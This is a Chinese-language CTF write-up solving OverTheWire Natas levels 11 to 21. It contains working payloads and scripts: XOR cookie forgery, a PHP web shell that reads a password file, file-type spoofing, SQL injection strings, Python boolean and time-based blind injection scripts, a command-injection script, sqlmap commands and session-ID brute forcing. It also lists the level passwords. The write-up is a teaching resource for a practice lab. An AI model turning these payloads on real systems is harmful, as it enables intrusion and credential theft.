本系列文章旨在记录笔者通关思路,其中解题思路也会参考借鉴网上已有文章,在此感谢相关作者的分享精神
接着上一篇文章继续
natas11
整理下此题的核心代码
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
基本的解题思路如下
如题目所述cookies被xor加密
所以我们要找出Key
原始data是{"showpassword":"no","bgcolor":"#ffffff"}
所以需要我们利用XOR的加密特性推出key
原始data XOR key = 加密data
原始data XOR 加密data = key
最后再把{"showpassword":"yes","bgcolor":"#ffffff"}用key加密得到新data,存回cookie,再用新cookie访问即可获得答案
理清楚解题思路,我们再把对应的数据带进去
原始data:{"showpassword":"no","bgcolor":"#ffffff"}
加密data: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=(也就是最初的cookie)
python版
# -*- coding: UTF-8 -*-
import base64
data = '{"showpassword":"no","bgcolor":"#ffffff"}'
data_xor = base64.b64decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=")
def xor(a, b):#异或运算
return bytes(map(lambda x: chr(ord(x[0])^ord(x[1])), zip(a,b)))
print xor(data,data_xor)
php版
<?php
$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
function xor_encrypt($in) {
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo xor_encrypt(base64_decode($cookie));
?>
由此获得key: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
现在就是进行 key XOR 修改的data = 新data(cookie)
此处修改的data就是"showpassword"=>"yes", "bgcolor"=>"#ffffff"
<?php
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode($data)));
?>
在浏览器控制台输入获得的新cookie
document.cookie="data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
获得natas12密码
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
natas12
此题很明显是在考查突破上传的技巧
我们先上传一个php文件,看服务器如何处理
<?php
system('cat /etc/natas_webpass/natas13');
?>
通过抓包可以分析出来服务端是以
filename字段的后缀名来存储文件的,那么我们直接修改后缀为
.php,即可成功上传文件,访问之即可获得natas13密码
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
natas13
这个比上一题增加了个检测函数exif_imagetype,其原理是测试文件开头的字节是否符合特定的几个文件类型
$ echo `printf "\xff\xd8\xff\xe0"``cat 13.jpg` > 13.php
获得natas14密码
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
natas14
这题是个登录框,很自然的就想到考查的是SQL注入漏洞,那么还是先看提示代码
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
可以看到此处直接将输入参数username和password值拼接进SQL语句执行,那么肯定存在SQL注入了username填入admin" or 1=1#,password填入1(随便都可以)
获得natas15密码AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
natas15
这一题有一定难度,还是考查SQL注入漏洞,但这次需要盲注处密码的值,需要写盲注脚本,虽然sql语句中只查询了username字段来判断用户是否存在,这里我们直接猜测用户natas16是存在的,再使用and逻辑运算将对password字段的查询连接起来,构成布尔注入语句,使用like模糊查询,最终得到密码
# -*- coding: UTF-8 -*-
import requests
url='http://natas15:[email protected]org/index.php'
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''
for char in chars:
Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
#使用like模糊查询不会区分大小写,要带上binary
r = requests.post(url=url,data=Data)
if 'exists' in r.text :
filtered = filtered + char
print filtered #先过滤出密码里存在的字符,然后再跑具体的值,这样能加快速度
for i in range(0,32):
for char in filtered:
Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
#使用like模糊查询不会区分大小写,要带上binary
r = requests.post(url=url,data=Data)
if 'exists' in r.text :
passwd = passwd + char
print(passwd)
break
获得natas16密码
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
当然,我们也可以用神器
sqlmap自动化注入出密码
$ python sqlmap.py -u "http://natas15.natas.labs.overthewire.org/index.php" --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
natas16
这一题其实跟之前的命令注入的区别就在于过滤了一些特殊字符,先来看下核心代码
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
在grep的检索中添加了引号,封死了添加其他选项和参数的路,并且过滤了双引号,无法像sql注入那样进行语句闭合
但是,其中沒有排除特殊字符$()和/,而且这题由于多了双引号,所以PHP会处理双引号里面的变量$()
解题思路就是
$(grep a /etc/natas_webpass/natas17)Africans
如果密码文件里首字母是`a`外层就是aAfricans,输出結果dictionary.txt就会找不到
如果密码文件里首字母不是`a`外层就是Africans,输出結果就是dictionary.txt找到Africans
我们知道dictionary.txt中存在的字符串,比如说Africans,用它与$(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的grep会返回结果,比如:
password中首字母为a,构造出语句grep -I "$(grep a /etc/natas_webpass/natas17)Africans" dictionary.txt
由于内部的$()命令返回了a,则使外层命令变为grep -I "aAfricans" dictionary.txt
由于dictionary中没有aAfricans,从而返回空值
而如果内层$()命令返回空值,外层则能正确检索到Africans,于是返回值,证明首字母不是a
在此思路上我们来构造命令盲注脚本
# -*- coding: UTF-8 -*-
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
filteredchars = ''
passwd = ''
allchars = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=$(grep ' + char + ' /etc/natas_webpass/natas17)Africans', auth=auth)
if 'Africans' not in r.text:
filteredchars = filteredchars + char
print(filteredchars)
for i in range(32):
for char in filteredchars:
r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=$(grep ^' + passwd + char + ' /etc/natas_webpass/natas17)Africans', auth=auth)
if 'Africans' not in r.text:
passwd = passwd + char
print(passwd)
break
获得natas17密码
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
natas17
让我们先来看核心代码
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
这一题依然是考查SQL注入漏洞,不过显然比之前的题目更难了点:因为没有任何回显
所以这次我需要通过sleep()进行延时盲注
输入:natas18" and sleep(5) #
服务端构造的SQL语句:SELECT * from users where username="natas18" and sleep(5) #
可以看出服务器确实延时5秒才进行响应,说明我们注入的
sleep(5)产生了效果
根据这个思路,我们来构造盲注脚本
import requests
from requests.auth import HTTPBasicAuth
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'content-type': 'application/x-www-form-urlencoded'}
filteredchars = ''
passwd = ''
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
payload = 'username=natas18" and password like binary \'%{0}%\' and sleep(5) #'.format(char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
filteredchars = filteredchars + char
print(filteredchars)
print(filteredchars)
for i in range(0,32):
for char in filteredchars:
payload = 'username=natas18" and password like binary \'{0}%\' and sleep(5) #'.format(passwd + char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 3):
passwd = passwd + char
print(passwd)
break
实际运行中由于自身网络到国外服务器不太稳定,所有结果可能有出入,需要多次调试
获得natas18密码xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
当然,这里我们也可以用神器sqlmap自动化注入处密码
./sqlmap.py -u "natas17.natas.labs.overthewire.org" --auth-type=BASIC --auth-cred="natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw" --data "username=natas18" --dbms=MySQL --technique=T --level=5 --risk=3 --dump
natas18
通过查看核心代码,并抓取相关数据包
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
可以判断此题是考查
SessionID伪造漏洞
服务器检索Cookies中保存的SessionID,库中没有则新建,有则检查admin值
由于isValidAdminLogin()只会对admin赋0,因此新的SessionID是不可通过的
那么只能寻找本来就存在的SessionID
代码中定义:$maxid = 640; // 640 should be enough for everyone
那么我们通过BurpSuite-Intruder Attack模块设置字典1-640进行暴力破解
当PHPSESSID=138时,获得natas19密码4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
natas19
这一题先给了提示:与上一题源码类似,只是PHPSESSID不连续。
我们先尝试随便输入username和password
PHPSESSID=3230322d6e617461733230通过观察发现
PHPSESSID的值是经过16进制转换的
按照
password-username的格式,由ascill码转化为16进制,猜测正确的
PHPSESSID,应该是
id-admin
由此我们来构造数据包使用BurpSuite-Intruder Attack模块设置字典,并对payload进行十六进制转换
当
PHPSESSID=38392d61646d696e时,及
PHPSESSID=89-admin
获得natas20密码
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
natas20
先来看下核心代码
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
首先进行合法校验,检测sessionID是否只有数字和字母
通过后读取以ID为文件名的文件,若空则新建
以n为分隔符,然后空格分隔Key和Value若admin=1则打印出密码
由于服务端对sessionID进行了合法性校验,因此无法直接通过修改PHPSESSID来读取密码文件的信息
但username没有任何校验,因此可以在其中注入\nadmin 1使读取的时候对Session进行间接篡改
(备注:笔者测试时候需要提交两次数据包才能显示密码,不知原因为何)
获得natas21密码
IFekPyrQXftziDEsUr3x21sYuahypdgJ
参考https://www.abatchy.com/https://hwchen18546.wordpress.com/https://blog.youkuaiyun.com/winkar/article/details/38620401https://blog.pandas.moe/2016/01/26/overthewire-natas-0-27/https://bbs.ichunqiu.com/thread-45064-1-1.html
本文详细介绍了Natas平台从第11关至第21关的通关策略,涵盖Cookie解密、SQL注入、盲注、Session ID伪造等技术要点。
488

被折叠的 条评论
为什么被折叠?



